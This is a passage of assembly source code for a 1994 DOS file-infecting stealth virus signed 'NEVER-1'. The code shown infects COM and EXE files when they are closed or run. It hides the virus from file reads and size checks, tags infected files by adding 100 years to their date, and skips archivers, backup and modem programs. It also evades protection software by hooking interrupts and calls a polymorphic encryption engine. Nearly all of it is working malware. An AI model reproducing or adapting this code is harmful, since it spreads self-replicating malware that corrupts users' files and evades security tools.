  858.                 call    call_21_file            ; get/set date
  859.                 jnc     date_check
  860. date_err:       jmp     jump_21
  861.  
  862. date_check:     cmp     dh,years                ; infected?
  863.                 jb      date_ok
  864.                 sub     dh,years
  865. date_ok:        clc
  866.                 call    save_returns            ; save ax/flags
  867.                 mov     ss:[bp.reg_cx],cx
  868.                 mov     ss:[bp.reg_dx],dx       ; save time/date
  869.                 jmp     retf_21
  870.                 
  871. is_read:        cmp     ah,3fh                  ; reading file?
  872.                 je      do_read
  873. no_read:        jmp     is_write
  874.  
  875. do_read:        call    get_dcb                 ; get DCB address
  876.                 jbe     no_read
  877.                 call    is_specialfile
  878.                 je      no_read
  879.                 les     ax,ds:[di.dcb_size]     ; get size of file                                
  880.                 mov     bx,es
  881.                 les     dx,ds:[di.dcb_pos]      ; get current position
  882.                 mov     si,es
  883.                 and     cs:read_bytes,0
  884.                 or      si,si                   ; in 1st 64k?
  885.                 jnz     read_high
  886.                 cmp     dx,18h                  ; reading header?
  887.                 jnb     read_high
  888.                 push    cx
  889.                 add     cx,dx
  890.                 cmc
  891.                 jnc     read_above
  892.                 cmp     cx,18h                  ; read goes above header?
  893. read_above:     pop     cx
  894.                 jb      read_below
  895.                 mov     cx,18h
  896.                 sub     cx,dx
  897. read_below:     push    ax bx                   ; save size
  898.                 push    dx                      ; position
  899.                 sub     dx,18h
  900.                 add     ax,dx                   ; get position in header
  901.                 cmc
  902.                 sbb     bx,si
  903.                 xchg    word ptr ds:[di.dcb_pos],ax
  904.                 xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
  905.                 push    ax bx
  906.                 push    ds
  907.                 mov     ah,3fh                
  908.                 mov     dx,ss:[bp.reg_dx]
  909.                 mov     ds,ss:[bp.reg_ds]
  910.                 call    call_21_file            ; read file
  911.                 pop     ds
  912.                 pop     word ptr ds:[di.dcb_pos+2]
  913.                 pop     word ptr ds:[di.dcb_pos]
  914.                 pop     dx
  915.                 pushf
  916.                 add     dx,ax                   ; adjust position
  917.                 add     cs:read_bytes,ax        ; remember # of bytes read
  918.                 popf
  919.                 pop     bx ax
  920.                 jnc     read_high
  921.                 jmp     jump_21
  922.  
  923. read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
  924.                 mov     word ptr ds:[di.dcb_pos+2],si
  925.                 mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
  926.                 sub     cx,cs:read_bytes
  927.                 sub     ax,file_size
  928.                 sbb     bx,0                    ; get original size
  929.                 push    ax bx
  930.                 sub     ax,dx
  931.                 sbb     bx,si                   ; in virus now?
  932.                 pop     bx ax
  933.                 jnc     read_into
  934.                 xor     cx,cx                   ; read 0 bytes
  935.                 jmp     read_fake
  936.  
  937. read_into:      add     dx,cx
  938.                 adc     si,0                    ; get position after read
  939.                 cmp     bx,si                   ; read extends into virus?
  940.                 ja      read_fake
  941.                 jb      read_adjust
  942.                 cmp     ax,dx
  943.                 jnb     read_fake
  944. read_adjust:    sub     dx,cx                   ; get position again
  945.                 xchg    cx,ax
  946.                 sub     cx,dx   ; # of bytes to read = Original size - Pos
  947. read_fake:      mov     ah,3fh
  948.                 mov     dx,ss:[bp.reg_dx]
  949.                 add     dx,cs:read_bytes
  950.                 mov     ds,ss:[bp.reg_ds]
  951.                 call    call_21_file            ; read file
  952.                 jc      read_exit
  953.                 add     ax,0
  954. read_bytes      =       word ptr $ - 2
  955.                 clc
  956. read_exit:      call    save_returns
  957.                 jmp     retf_21
  958.                 
  959.  
  960. is_write:       cmp     ah,40h                  ; write?
  961.                 je      do_write
  962. no_write:       jmp     is_infect
  963.  
  964. do_write:       call    get_dcb
  965.                 jbe     no_write
  966.                 les     ax,ds:[di.dcb_size]     ; get file size
  967.                 mov     bx,es
  968.                 sub     ax,18h
  969.                 sbb     bx,0                    ; get header position
  970.                 xchg    ax,word ptr ds:[di.dcb_pos]
  971.                 xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
  972.                 push    ax bx
  973.                 mov     ax,2
  974.                 xchg    ax,ds:[di.dcb_mode]     ; read/write mode
  975.                 push    ax
  976.                 push    ds cs
  977.                 pop     ds es
  978.                 call    read_header             ; read 18h bytes
  979.                 pop     es:[di.dcb_mode]        ; restore access mode
  980.                 jc      write_rest_pos
  981.                 mov     word ptr es:[di.dcb_pos],ax
  982.                 mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
  983.                 call    write_header                  ; write old header
  984.                 jc      write_rest_pos
  985.                 push    es
  986.                 pop     ds
  987.                 sub     word ptr ds:[di.dcb_size],file_size
  988.                 sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
  989.                 sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
  990. write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
  991.                 pop     word ptr es:[di.dcb_pos]
  992.                 jmp     jump_21
  993.  
  994.  
  995. is_infect:      cmp     ah,3eh                  ; Close?
  996.                 je      infect_3e
  997.                 cmp     ax,4b00h                ; Execute?
  998.                 je      infect_4b
  999.                 jmp     jump_21
  1000.  
  1001. infect_4b:      mov     ax,3d00h                ; Open file
  1002.                 cmp     ax,0
  1003.                 org     $ - 2
  1004. infect_3e:      mov     ah,45h                  ; Duplicate handle
  1005.                 call    int_2_bios              ; lock out protection programs
  1006.                 call    call_21_file            ; get handle
  1007.                 mov     cs:handle,ax
  1008.                 mov     ax,4408h
  1009.                 cwd
  1010.                 jc      undo_bios
  1011.                 call    get_dcb                 ; get DCB for handle
  1012.                 jb      cant_infect
  1013.                 jne     cant_infect             ; error/already infected
  1014.                 mov     bl,00111111b
  1015.                 and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
  1016.                 mov     dl,bl                   ; DX=00**
  1017.                 inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
  1018.                 call    call_21                 ; drive removable?
  1019.                 mov     cx,1h
  1020.                 push    cs
  1021.                 pop     es
  1022.                 jc      test_prot_drive
  1023.                 dec     ax                      ; 1=non-removable
  1024.                 jz      no_protect
  1025.                 jmp     test_protect
  1026.  
  1027. test_prot_drive:cmp     dl,1                    ; A or B?
  1028.                 ja      no_protect
  1029. test_protect:   mov     ax,201h
  1030.                 mov     bx,offset disk_buff
  1031.                 int     13h                     ; read sector
  1032.                 jc      cant_infect
  1033.                 mov     ax,301h
  1034.                 int     13h                     ; write it back
  1035.                 jc      cant_infect
  1036. no_protect:     inc     cx                      ; CX=2
  1037.                 xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
  1038.                 push    cx
  1039.                 xor     ax,ax
  1040.                 xchg    ah,ds:[di.dcb_attr]     ; attribute=0
  1041.                 test    ah,00000100b            ; system file?
  1042.                 push    ax
  1043.                 jne     cant_system
  1044.                 cbw
  1045.                 cwd
  1046.                 xchg    ax,word ptr ds:[di.dcb_pos]
  1047.                 xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
  1048.                 push    ax dx
  1049.                 mov     bp,-'OC'
  1050.                 add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
  1051.                 jnz     not_com
  1052.                 mov     bp,-'MO'
  1053.                 add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
  1054. not_com:        call    infect
  1055.                 pushf
  1056.                 call    get_dcb
  1057.                 popf
  1058.                 jc      not_infected
  1059.                 add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
  1060. not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
  1061.                 pop     word ptr ds:[di.dcb_pos+2]
  1062.                 pop     word ptr ds:[di.dcb_pos]
  1063. cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
  1064.                 pop     ds:[di.dcb_mode]        ; restore access mode
  1065. cant_infect:    mov     ah,3eh
  1066.                 call    call_21_file            ; close file
  1067. undo_bios:      call    int_2_bios              ; restore interrupts
  1068.                 
  1069. ;=====( Jump on to int 21h )=================================================;
  1070.  
  1071. jump_21:        call    undo_24                 ; unhook int 24h
  1072.                 push    cs
  1073.                 pop     ds
  1074.                 mov     al,1h
  1075.                 mov     di,offset int_1
  1076.                 cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
  1077.                 jne     jump_21_1
  1078.                 call    get_int                 ; get int 1h address
  1079.                 mov     ds:[di],bx
  1080.                 mov     ds:[di + 2],es
  1081.                 mov     byte ptr ds:[di+inst_count-int_1],5
  1082.                 mov     ds:trace_mode,step_21
  1083.                 mov     dx,offset tracer
  1084.                 call    set_int                 ; hook int 1h
  1085.                 call    pop_all
  1086.                 push    si
  1087.                 pushf
  1088.                 pop     si
  1089.                 call    si_tf                   ; set TF
  1090.                 pop     si
  1091. go_21:          cli
  1092.                 mov     ss,cs:int_21_ss
  1093.                 mov     sp,cs:int_21_sp         ; restore stack
  1094.                 sti
  1095. go_2_21:        jmp     cs:int_21
  1096.                 
  1097. jump_21_1:      call    pop_all
  1098.                 jmp     go_21
  1099.  
  1100. ;=====( actual infection routine )===========================================;
  1101.  
  1102. infect:         push    cs
  1103.                 pop     ds
  1104.                 call    read_header             ; read first 18h bytes
  1105.                 jc      inf_bad_file
  1106.                 mov     si,dx
  1107.                 mov     di,offset work_header
  1108.                 cld
  1109.                 rep     movsb                   ; copy header to work_header
  1110.                 call    get_dcb
  1111.                 les     ax,ds:[di.dcb_size]     ; get file size
  1112.                 mov     dx,es
  1113.                 mov     word ptr ds:[di.dcb_pos],ax
  1114.                 mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
  1115.                 push    cs cs
  1116.                 pop     es ds
  1117.                 mov     cx,ds:[si]              ; get first 2 bytes
  1118.                 cmp     cx,'MZ'                 ; .EXE file?
  1119.                 je      inf_exe
  1120.                 cmp     cx,'ZM'                 ; .EXE file?
  1121.                 je      inf_exe
  1122.                 or      dx,bp                   ; COM file and < 64k?
  1123.                 jnz     inf_bad_file
  1124.                 cmp     ax,0-(file_size+100)
  1125.                 ja      inf_bad_file
  1126.                 cmp     ax,1000
  1127.                 jb      inf_bad_file
  1128.                 mov     byte ptr ds:[si],0e9h   ; build jump
  1129.                 inc     ah                      ; Add PSP size (100h)
  1130.                 push    ax                      ; save IP for engine
  1131.                 add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
  1132.                 mov     ds:[si+1],ax
  1133.                 jmp     append_vir
  1134.  
  1135. inf_bad_file:   stc
  1136.                 retn
  1137.  
  1138. inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
  1139.                 jne     inf_bad_file
  1140.                 mov     bp,ax
  1141.                 mov     di,dx                   ; save size in DI:BP
  1142.                 mov     cx,200h
  1143.                 div     cx                      ; divide into pages
  1144.                 or      dx,dx                   ; Any remainder?
  1145.                 jz      no_round
  1146.                 inc     ax
  1147. no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
  1148.                 jne     inf_bad_file
  1149.                 sub     dx,ds:[si.eh_modulo]
  1150.                 jne     inf_bad_file
  1151.                 mov     ax,file_size            ; virus size
  1152.                 add     ax,bp
  1153.                 adc     dx,di                   ; + program size
  1154.                 div     cx                      ; / 512
  1155.                 or      dx,dx                   ; round up?
  1156.                 jz      no_round1
  1157.                 inc     ax
  1158. no_round1:      mov     ds:[si.eh_size],ax
  1159.                 mov     ds:[si.eh_modulo],dx    ; set new size
  1160.                 mov     bx,0-(file_size+1000)
  1161.                 xor     cx,cx
  1162. get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
  1163.                                                 ; cross segments
  1164.                 jb      got_exe_ip
  1165.                 sub     bp,10h                  ; down 10h bytes
  1166.                 loop    get_exe_ip              ; up 1 paragraph
  1167. got_exe_ip:     cmp     di,0fh
  1168.                 ja      inf_bad_file
  1169.                 xchg    cx,ax
  1170.                 mov     cl,4
  1171.                 ror     di,cl                   ; get segment displacement
  1172.                 or      ax,ax
  1173.                 jz      no_para_add
  1174.                 sub     di,ax                   ; Add segments from LOOP
  1175.                 jnc     inf_bad_file
  1176. no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
  1177.                                                 ; paragraphs
  1178.                 push    bp                      ; save offset of v_start
  1179.                 add     bp,decrypt-v_start
  1180.                 mov     ds:[si.eh_ip],bp        ; set IP
  1181.                 mov     ds:[si.eh_cs],di        ; set CS
  1182.                 add     bp,512                  ; 512 bytes of stack
  1183.                 mov     ds:[si.eh_sp],bp        ; set SP
  1184.                 mov     ds:[si.eh_ss],di        ; set SS
  1185.                 mov     bp,8000h                ; Tell engine "Exe file"
  1186.                 sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
  1187.                 mov     ax,ds:[si.eh_min_mem]
  1188.                 sub     ax,bx                   ; add file_size+1000h/16
  1189.                 jnb     append_vir
  1190.                 mov     ds:[si.eh_min_mem],ax
  1191.  
  1192. append_vir:     pop     ax
  1193.                 call    engine                  ; encrypt/write/decrypt
  1194.                 push    bp             
  1195.                 popf
  1196.                 jc      append_vir_err
  1197.                 call    get_dcb
  1198.                 mov     word ptr ds:[di.dcb_pos],cx
  1199.                 mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
  1200.                 mov     ah,40h
  1201.                 mov     dx,offset work_header
  1202.                 push    cs
  1203.                 pop     ds
  1204.                 call    header_op               ; write new header to file
  1205. append_vir_err: retn
  1206.                 
  1207. ;=====( Get DCB address for file )===========================================;
  1208.  
  1209. get_dcb:        push    ax bx 
  1210.                 mov     ax,1220h
  1211.                 mov     bx,cs:handle            ; get file handle
  1212.                 int     2fh                     ; get DCB number address
  1213.                 jc      get_dcb_fail
  1214.                 mov     ax,1216h
  1215.                 mov     bl,es:[di]              ; get DCB number
  1216.                 cmp     bl,-1                   ; Handle Openned?
  1217.                 cmc
  1218.                 je      get_dcb_fail
  1219.                 int     2fh                     ; get DCB address
  1220.                 jc      get_dcb_fail
  1221.                 push    es
  1222.                 pop     ds
  1223.                 test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
  1224.                 cmc
  1225.                 jne     get_dcb_fail
  1226.                 test    byte ptr ds:[di.dcb_date+1],80h ; infected?
  1227. get_dcb_fail:   pop     bx ax               
  1228.                 retn
  1229.  
  1230. ;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
  1231.  
  1232. int_2_bios:     push    ax bx dx ds
  1233.                 mov     al,13h                  ; int 13h
  1234.                 mov     di,offset int_13
  1235. int_2_bios_lp:  push    cs
  1236.                 pop     ds
  1237.                 call    get_int                 ; get int address               
  1238.                 mov     dx,es
  1239.                 xchg    bx,ds:[di]              ; swap offsets
  1240.                 cld
  1241.                 scasw
  1242.                 xchg    dx,bx
  1243.                 xchg    bx,ds:[di]              ; swap segments
  1244.                 scasw
  1245.                 mov     ds,bx                   ; DS:DX=new address
  1246.                 call    set_int                 ; set int to DS:DX
  1247.                 cmp     al,15h                  
  1248.                 mov     al,15h
  1249.                 jnb     int_2_bios_40           ; CY AL=13h
  1250.                 add     di,4
  1251.                 jmp     int_2_bios_lp
  1252.  
  1253. int_2_bios_40:  mov     al,40h
  1254.                 je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
  1255.                 pop     ds dx bx ax
  1256.                 retn
  1257.  
  1258. ;=====( Read/write header to file )==========================================;
  1259.  
  1260. read_header:    mov     ah,3fh
  1261.                 cmp     ax,0
  1262.                 org     $ - 2
  1263. write_header:   mov     ah,40h
  1264.                 mov     dx,offset header
  1265. header_op:      mov     cx,18h
  1266.                 call    call_21_file             ; read/write header
  1267.                 jc      read_write_err
  1268.                 sub     ax,cx
  1269. read_write_err: retn
  1270.  
  1271. ;=====( Unhook int 24h )=====================================================;
  1272.  
  1273. undo_24:        mov     al,24h
  1274.                 lds     dx,cs:int_24
  1275.                 call    set_int                 ; unhook int 24h
  1276.                 in      al,21h
  1277.                 and     al,not 2                ; enable keyboard
  1278.                 out     21h,al
  1279.                 retn
  1280.  
  1281. ;=====( Save returns after int 21h call )====================================;
  1282.  
  1283. save_returns:   mov     ss:[bp.reg_ax],ax
  1284.                 pushf
  1285.                 pop     ss:[bp.reg_f]
  1286.                 retn
  1287.  
  1288. ;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
  1289.  
  1290. is_specialfile: push    ax cx si di es
  1291.                 mov     al,0
  1292. check_special   =       byte ptr $ - 1
  1293.                 or      al,al                   ; Check for special?
  1294.                 jnz     it_is_special
  1295.                 call    get_psp                 ; get MCB of current PSP
  1296.                 mov     ax,es:[di]              ; get 1st 2 letters of name
  1297.                 cmp     ax,'RA'                 ; ARj?
  1298.                 je      it_is_special
  1299.                 cmp     ax,'HL'                 ; LHa?
  1300.                 je      it_is_special
  1301.                 cmp     ax,'KP'                 ; PKzip?
  1302.                 je      it_is_special
  1303.                 mov     cx,2
  1304.                 mov     si,offset backup
  1305. is_it_mod_bak:  push    cx di
  1306.                 mov     cl,8
  1307.                 lods    byte ptr cs:[si]        ; get 'B' or 'M'
  1308.                 xor     al,66h + 6h             ; decrypt
  1309.                 repne   scasb
  1310.                 jne     is_it_mod
  1311.                 cmp     cl,3
  1312.                 jb      is_it_mod
  1313.                 mov     cl,4
  1314. is_ode_ack:     lods    byte ptr cs:[si]
  1315.                 xor     al,66h + 6h
  1316.                 jz      is_it_mod               ; 0 (done)?
  1317.                 scasb
  1318.                 loope   is_ode_ack
  1319. is_it_mod:      mov     si,offset modem
  1320.                 pop     di cx
  1321.                 loopne  is_it_mod_bak
  1322. it_is_special:  pop     es di si cx ax
  1323.                 retn
  1324.  
  1325. backup:         db      'B' xor (66h + 6h) 
  1326.                 db      'A' xor (66h + 6h)
  1327.                 db      'C' xor (66h + 6h)
  1328.                 db      'K' xor (66h + 6h)
  1329.                 db      0   xor (66h + 6h)
  1330.  
  1331. modem:          db      'M' xor (66h + 6h)
  1332.                 db      'O' xor (66h + 6h)
  1333.                 db      'D' xor (66h + 6h)
  1334.                 db      'E' xor (66h + 6h)
  1335.                 db      'M' xor (66h + 6h)
  1336.  
  1337.  
  1338. ;=====( get current PSP segment )============================================;
  1339.  
  1340. get_psp:        push    ax bx
  1341.                 mov     ah,62h
  1342.                 call    call_21                 ; get PSP segment
  1343.                 dec     bx
  1344.                 mov     es,bx                   ; MCB of current program
  1345.                 mov     di,8h                   ; offset of file name
  1346.                 cld
  1347.                 pop     bx ax
  1348.                 retn
  1349.                 
  1350. ;=====( Get DTA address )====================================================;
  1351.  
  1352. get_dta:        mov     ah,2fh
  1353.                 call    call_21                 ; DTA address into ES:BX
  1354.                 push    es
  1355.                 pop     ds
  1356.                 retn
  1357.  
  1358. call_dos_13:    call    swap_13
  1359.                 pushf
  1360.                 call    cs:dos_13
  1361.                 call    swap_13
  1362.                 retn
  1363.  
  1364. call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
  1365.                 je      call_40
  1366.  
  1367. call_13:        pushf
  1368.                 call    cs:int_13
  1369.                 retn
  1370.  
  1371. call_21_file:   mov     bx,0
  1372. handle          =       word ptr $ - 2
  1373.  
  1374. call_21:        pushf
  1375.                 push    cs
  1376.                 call    go_2_21
  1377.                 retn
  1378.  
  1379. call_40:        pushf
  1380.                 call    cs:int_40
  1381.                 retn
  1382.  
  1383. include eng.asm
  1384.  
  1385.                 db      "Time has come to pay (c)1994 NEVER-1",0
  1386.  
  1387. even
  1388.  
  1389. decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
  1390.                 mov     byte ptr ds:[102h],0e8h         ; CALL
  1391.                 jmp     file_start
  1392.                 
  1393.                 org     decrypt + 150
  1394.  
  1395. header          dw      18h / 2 dup(20cdh)
  1396.  
  1397. file_end:
  1398.  
  1399. work_header     dw      18h / 2 dup(?)
  1400.                 
  1401. write_buff:     db      encode_end-encode dup(?)
  1402.  
  1403. int_21_ss       dw      ?
  1404. int_21_sp       dw      ?
  1405.  
  1406.                 dw      256 / 2 dup(?)
  1407. temp_stack:            
  1408.  
  1409. jump_code_13    db      5 dup(?)
  1410. jump_code_21    db      5 dup(?)
  1411.  
  1412. int_1           dd      ?
  1413. int_24          dd      ?
  1414.  
  1415. int_13          dd      ?
  1416. dos_13          dd      ?
  1417. int_15          dd      ?
  1418. int_40          dd      ?
  1419. int_21          dd      ?
  1420.  
  1421. new_24:         db      3 dup(?)
  1422.  
  1423. push_pop_ret    dw      ?
  1424.  
  1425. pointer         dw      ?
  1426. disp            dw      ?
  1427. encode_ptr      dw      ?
  1428. encode_enc_ptr  dw      ?
  1429.  
  1430. key_reg         db      ?
  1431. count_reg       db      ?
  1432. ptr_reg         db      ?
  1433. ptr_reg1        db      ?
  1434. modify_op       db      ?
  1435.  
  1436.  
  1437. origin          db      ?
  1438. inst_count      db      ?
  1439.  
  1440. disk_buff       db      512 dup(?)
  1441.  
  1442. v_end:
  1443.  
  1444.  
  1445. ;=====( Very useful structures )=============================================;
  1446.  
  1447.  
  1448.  
  1449. ;=====( Memory Control Block structure )=====================================;
  1450.  
  1451. mcb             struc
  1452. mcb_sig         db      ?               ; 'Z' or 'M'
  1453. mcb_owner       dw      ?               ; attribute of owner
  1454. mcb_size        dw      ?               ; size of mcb block
  1455. mcb_name        db      8 dup(?)        ; file name of owner
  1456. mcb             ends
  1457.  
  1458.  
  1459. ;=====( For functions 11h and 12h )==========================================;
  1460.  
  1461.  
  1462. Directory       STRUC
  1463. DS_Drive        db ?
  1464. DS_Name         db 8 dup(0)
  1465. DS_Ext          db 3 dup(0)
  1466. DS_Attr         db ?
  1467. DS_Reserved     db 10 dup(0)
  1468. DS_Time         dw ?
  1469. DS_Date         dw ?
  1470. DS_Start_Clust  dw ?
  1471. DS_Size         dd ?
  1472. Directory       ENDS
  1473.  
  1474.  
  1475. ;=====( for functions 4eh and 4fh )==========================================;
  1476.  
  1477.  
  1478. DTA             STRUC
  1479. DTA_Reserved    db 21 dup(0)
  1480. DTA_Attr        db ?
  1481. DTA_Time        dw ?
  1482. DTA_Date        dw ?
  1483. DTA_Size        dd ?
  1484. DTA_Name        db 13 dup(0)
  1485. DTA             ENDS
  1486.  
  1487.  
  1488. Exe_Header      STRUC
  1489. EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
  1490. EH_Modulo       dw ?                    ; remainder of file size/512
  1491. EH_Size         dw ?                    ; file size/512
  1492. EH_Reloc        dw ?                    ; Number of relocation items
  1493. EH_Size_Header  dw ?                    ; Size of header in paragraphs
  1494. EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
  1495. EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
  1496. EH_SS           dw ?                    ; Stack segment displacement
  1497. EH_SP           dw ?                    ; Stack Pointer
  1498. EH_Checksum     dw ?                    ; Checksum, not used
  1499. EH_IP           dw ?                    ; Instruction Pointer of Exe file
  1500. EH_CS           dw ?                    ; Code segment displacement of .exe
  1501. eh_1st_reloc    dw      ?               ; first relocation item
  1502. eh_ovl          dw      ?               ; overlay number
  1503. Exe_Header      ENDS                      
  1504.  
  1505. Boot_Sector             STRUC
  1506. bs_Jump                 db 3 dup(?)
  1507. bs_Oem_Name             db 8 dup(?)
  1508. bs_Bytes_Per_Sector     dw ?
  1509. bs_Sectors_Per_Cluster  db ?
  1510. bs_Reserved_Sectors     dw ?               
  1511. bs_FATs                 db ?             ; Number of FATs
  1512. bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
  1513. bs_Sectors              dw ?             ; number of sectors; small
  1514. bs_Media                db ?             ; Media descriptor byte
  1515. bs_Sectors_Per_FAT      dw ?
  1516. bs_Sectors_Per_Track    dw ?               
  1517. bs_Heads                dw ?             ; number of heads
  1518. bs_Hidden_Sectors       dd ?
  1519. bs_Huge_Sectors         dd ?             ; number of sectors; large
  1520. bs_Drive_Number         db ?
  1521. bs_Reserved             db ?
  1522. bs_Boot_Signature       db ?
  1523. bs_Volume_ID            dd ?
  1524. bs_Volume_Label         db 11 dup(?)
  1525. bs_File_System_Type     db 8 dup(?)
  1526. Boot_Sector             ENDS
  1527.                 
  1528.                 
  1529. Partition_Table         STRUC
  1530. pt_Code                 db 1beh dup(?)  ; partition table code
  1531. pt_Status               db ?            ; 0=non-bootable 80h=bootable
  1532. pt_Start_Head           db ?            
  1533. pt_Start_Sector_Track   dw ?
  1534. pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
  1535. pt_End_Head             db ?
  1536. pt_End_Sector_Track     dw ?
  1537. pt_Starting_Abs_Sector  dd ?
  1538. pt_Number_Sectors       dd ?
  1539. Partition_Table         ENDS
  1540.  
  1541.  
  1542. int_1_stack     STRUC
  1543. st_ip           dw ?                    ; offset of next instruction after
  1544.                                         ; interrupt
  1545. st_cs           dw ?                    ; segment of next instruction
  1546. st_flags        dw ?                    ; flags when interrupt was called
  1547. int_1_stack     ENDS
  1548.  
  1549. ;----------------------------------------------------------------------------;
  1550. ;               Dcb description for DOS 3+                                   ;   
  1551. ;                                                                            ;
  1552. ;      Offset  Size    Description                                           ;
  1553. ;       00h    WORD    number of file handles referring to this file         ;
  1554. ;       02h    WORD    file open mode (see AH=3Dh)                           ;
  1555. ;              bit 15 set if this file opened via FCB                        ;
  1556. ;       04h    BYTE    file attribute                                        ;
  1557. ;       05h    WORD    device info word (see AX=4400h)                       ;
  1558. ;       07h    DWORD   pointer to device driver header if character device   ;
  1559. ;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
  1560. ;       0Bh    WORD    starting cluster of file                              ;
  1561. ;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
  1562. ;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
  1563. ;       11h    DWORD   file size                                             ;
  1564. ;       15h    DWORD   current offset in file                                ;
  1565. ;       19h    WORD    relative cluster within file of last cluster accessed ;
  1566. ;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
  1567. ;              0000h if file never read or written???                        ;
  1568. ;       1Dh    WORD    number of sector containing directory entry           ;
  1569. ;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
  1570. ;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
  1571. ;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
  1572. ;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
  1573. ;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
  1574. ;       33h    WORD    offset within SHARE.EXE code segment of               ;
  1575. ;              sharing record (see below)  0000h = none                      ;
  1576. ;----------------------------------------------------------------------------;                                                                            
  1577.  
  1578.  
  1579.  
  1580. dcb             struc
  1581. dcb_users       dw      ?
  1582. dcb_mode        dw      ?
  1583. dcb_attr        db      ?
  1584. dcb_dev_attr    dw      ?
  1585. dcb_drv_addr    dd      ?
  1586. dcb_1st_clst    dw      ?
  1587. dcb_time        dw      ?
  1588. dcb_date        dw      ?
  1589. dcb_size        dd      ?
  1590. dcb_pos         dd      ?
  1591. dcb_last_clst   dw      ?
  1592. dcb_current_clst dw     ?
  1593. dcb_dir_sec     dw      ?
  1594. dcb_dir_entry   db      ?
  1595. dcb_name        db      8 dup(?)
  1596. dcb_ext         db      3 dup(?)
  1597. dcb_useless1    dw      ?
  1598. dcb_useless2    dw      ?
  1599. dcb_useless3    dw      ?
  1600. dcb_psp_seg     dw      ?
  1601. dcb_useless4    dw      ?
  1602. dcb             ends
  1603.  
  1604. bpb                     STRUC
  1605. bpb_Bytes_Per_Sec       dw ?
  1606. bpb_Sec_Per_Clust       db ?
  1607. bpb_Reserved_Sectors    dw ?               
  1608. bpb_FATs                db ?             ; Number of FATs
  1609. bpb_Root_Dir_Entries    dw ?             ; Max number of root dir entries
  1610. bpb_Sectors             dw ?             ; number of sectors; small
  1611. bpb_Media               db ?             ; Media descriptor byte
  1612. bpb_Sectors_Per_FAT     dw ?
  1613. bpb_Sectors_Per_Track   dw ?               
  1614. bpb_Heads               dw ?             ; number of heads
  1615. bpb_Hidden_Sectors      dd ?
  1616. bpb_Huge_Sectors        dd ?             ; number of sectors; large
  1617. bpb_Drive_Number        db ?
  1618. bpb_Reserved            db ?
  1619. bpb_Boot_Signature      db ?
  1620. bpb_Volume_ID           dd ?
  1621. bpb_Volume_Label        db 11 dup(?)
  1622. bpb_File_System_Type    db 8 dup(?)
  1623. bpb                     ENDS
  1624.  
  1625.  
  1626. register        struc
  1627. reg_es          dw      ?
  1628. reg_ds          dw      ?
  1629. reg_di          dw      ?
  1630. reg_si          dw      ?
  1631. reg_bp          dw      ?
  1632. reg_dx          dw      ?
  1633. reg_cx          dw      ?
  1634. reg_bx          dw      ?
  1635. reg_ax          dw      ?
  1636. reg_f           dw      ?
  1637. register        ends
  1638.  
  1639. sys_file        struc
  1640. sys_next        dd      ?
  1641. sys_strat       dw      ?
  1642. sys_int         dw      ?
  1643. sys_file        ends
  1644.                 
  1645.                 
  1646.                 end
  1647.